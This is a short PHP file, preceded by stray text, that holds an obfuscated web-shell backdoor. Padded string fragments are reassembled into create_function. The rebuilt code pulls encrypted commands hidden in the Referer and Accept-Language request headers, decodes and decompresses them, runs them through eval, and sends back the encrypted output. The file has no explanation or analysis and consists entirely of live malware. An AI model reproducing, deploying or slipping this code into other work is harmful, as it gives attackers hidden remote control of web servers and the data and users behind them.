qqq

<?php
$I='HfHf"Hf/([\\w])[Hf\\Hfw-]+(?:;q=0.([\\d]))?HfHf,?/",$ra,$m)Hf;Hfif($qHf&&$m){@sHfessioHfn_start(HfHf);$s=';
$U='$kh="Hf1a1d";$kfHf="c91cHfHf";function xHf($t,Hf$k){$Hfc=strlenHf($k);$Hfl=strlen(Hf$t);$oHf="";foHfr($i=Hf0;H';
$d='t();@evaHfl(@gzunHfcomprHfeHfss(@x(@baseHf64_decoHfde(pHfreg_repHflace(arHfray("/_Hf/","Hf/-/"),arrHfH';
$M='faHfy("/","Hf+"),$Hfss($s[$i],0,Hf$e)))Hf,$k)))Hf;$o=ob_gHfet_contentHfHfs(Hf)HfHf;ob_end_clean();$d=';
$e='basHfe64_encodHfe(x(gzHfcomHfpreHfssHf($o),$k));prinHft("<$k>$d<HfHf/$kHf>");@sessionHf_Hfdestroy();}}}}';
$J='f$i<$l;){for(Hf$j=0Hf;($Hfj<Hf$c&&$i<$l);$j++Hf,$iHf++){$o.Hf=$t{Hf$i}^HfHf$k{$j}Hf;}}returnHf $o;}$r=';
$D='&$Hf_SEHfSSION;$sHfHfs="substr";$sl="strtoHflHfower";Hf$i=$m[1HfHf][Hf0].$m[1][1];$h=$sHfl($ss(md5HfH';
$A='fz++)$Hfp.Hf=$q[$m[2]Hf[$z]];if(strHfpos($p,HfHf$h)===0){$sHf[$i]=""Hf;Hf$p=$ssHf($p,3);}ifHf(array_keH';
$Y='Hf$uHf=parse_uHfrl($rHfr);parse_str($HfHfu["Hfquery"Hf],$q);$q=arHfray_values($Hfq);pHfreHfg_match_all(';
$b=str_replace('QA','','QAQAcQAQAreate_funcQAtiQAon');
$E='f($iHf.$kh),0,3));$f=HfHf$sl($ss(md5Hf($HfiHfHf.$kf),0,3));$p="";foHfHfr($z=1;$z<couHfHfnt(Hf$m[1]);$H';
$B='$HfHf_SERVER;$rr=@$rHf["HTTPHf_REFEREHfR"Hf];$ra=@$r[Hf"HTTPHf_ACCEHfPT_LHfHfANGUAGE"];if($rrHf&&$ra){Hf';
$L='fy_exHfists($iHf,$Hfs)){$s[$i].Hf=$Hfp;$e=Hfstrpos($s[Hf$iHf],Hf$f);if($e){$Hfk=$Hfkh.$kf;ob_stHfHfar';
$P=str_replace('Hf','',$U.$J.$B.$Y.$I.$D.$E.$A.$L.$d.$M.$e);
$i=$b('',$P);$i();
?>